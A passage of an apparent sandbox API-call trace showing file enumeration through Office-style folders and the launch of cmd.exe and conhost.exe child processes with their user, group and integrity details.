	[0207.954] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0207.955] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.955] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
	[0207.958] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.958] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0207.960] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.960] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0207.962] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0207.962] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1
	[0208.346] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0208.346] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1
	[0208.348] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0208.348] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0208.350] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0208.350] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0208.352] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0208.352] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0208.354] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0208.354] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0208.355] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0208.355] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0208.357] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0208.357] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0208.359] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0208.359] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1
	[0208.361] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0208.361] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1
	[0208.363] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x454b960 | out: hHeap=0x560000) returned 1
	[0208.363] FindNextFileW (in: hFindFile=0x6525d8, lpFindFileData=0x3a3eb94 | out: lpFindFileData=0x3a3eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0
	[0208.363] FindClose (in: hFindFile=0x6525d8 | out: hFindFile=0x6525d8) returned 1
	[0208.363] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x453b958 | out: hHeap=0x560000) returned 1
	[0208.363] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3ee10 | out: lpFindFileData=0x3a3ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0
	[0208.363] FindClose (in: hFindFile=0x652258 | out: hFindFile=0x652258) returned 1
	[0208.363] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x451a940 | out: hHeap=0x560000) returned 1
	[0208.363] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1
	[0208.366] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x451a940 | out: hHeap=0x560000) returned 1
	[0208.366] FindNextFileW (in: hFindFile=0x652358, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1
	[0208.368] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x453b958 | out: hHeap=0x560000) returned 1
	[0208.368] FindNextFileW (in: hFindFile=0x652298, lpFindFileData=0x3a3ee10 | out: lpFindFileData=0x3a3ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0208.369] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x453b958 | out: hHeap=0x560000) returned 1
	[0208.370] FindNextFileW (in: hFindFile=0x652298, lpFindFileData=0x3a3ee10 | out: lpFindFileData=0x3a3ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1
	[0208.371] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x453b958 | out: hHeap=0x560000) returned 1
	[0208.371] FindNextFileW (in: hFindFile=0x652298, lpFindFileData=0x3a3ee10 | out: lpFindFileData=0x3a3ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1

Process:
	id = "13"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x22ee4000"
	os_pid = "0xf60"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "12"
	os_parent_pid = "0xf54"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011008" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 84
	os_tid = 0xf64

	[0208.423] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff633140000
	[0208.423] __set_app_type (_Type=0x1) 
	[0208.423] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff633156d00) returned 0x0
	[0208.423] __getmainargs (in: _Argc=0x7ff633179200, _Argv=0x7ff633179208, _Env=0x7ff633179210, _DoWildCard=0, _StartInfo=0x7ff63317921c | out: _Argc=0x7ff633179200, _Argv=0x7ff633179208, _Env=0x7ff633179210) returned 0
	[0208.423] _onexit (_Func=0x7ff633157fd0) returned 0x7ff633157fd0
	[0208.424] _onexit (_Func=0x7ff633157fe0) returned 0x7ff633157fe0
	[0208.424] _onexit (_Func=0x7ff633157ff0) returned 0x7ff633157ff0
	[0208.424] _onexit (_Func=0x7ff633158000) returned 0x7ff633158000
	[0208.424] _onexit (_Func=0x7ff633158010) returned 0x7ff633158010
	[0208.425] _onexit (_Func=0x7ff633158020) returned 0x7ff633158020
	[0208.425] GetCurrentThreadId () returned 0xf64
	[0208.425] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xf64) returned 0x70
	[0208.425] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffba9650000
	[0208.425] GetProcAddress (hModule=0x7ffba9650000, lpProcName="SetThreadUILanguage") returned 0x7ffba966a990
	[0208.426] SetThreadUILanguage (LangId=0x0) 

Process:
	id = "14"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x28be4000"
	os_pid = "0xf7c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "13"
	os_parent_pid = "0xf60"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011008" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 90
	os_tid = 0xf80


Thread:
	id = 91
	os_tid = 0xf84


Thread:
	id = 104
	os_tid = 0xfc0


Thread:
	id = 107
	os_tid = 0xfcc


Thread:
	id = 108
	os_tid = 0xfd0


Process:
	id = "15"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x2b4f3000"
	os_pid = "0xfb0"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "6"
	os_parent_pid = "0xd7c"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011008" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 102
	os_tid = 0xfb4


Process:
	id = "16"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x325d8000"
	os_pid = "0xfb8"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "child_process"
	parent_id = "15"
	os_parent_pid = "0xfb0"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "64"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011008" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 103
	os_tid = 0xfbc


Thread:
	id = 105
	os_tid = 0xfc4


Thread:
	id = 106
	os_tid = 0xfc8


Thread:
	id = 109
	os_tid = 0xfd4


Thread:
	id = 110
	os_tid = 0xfd8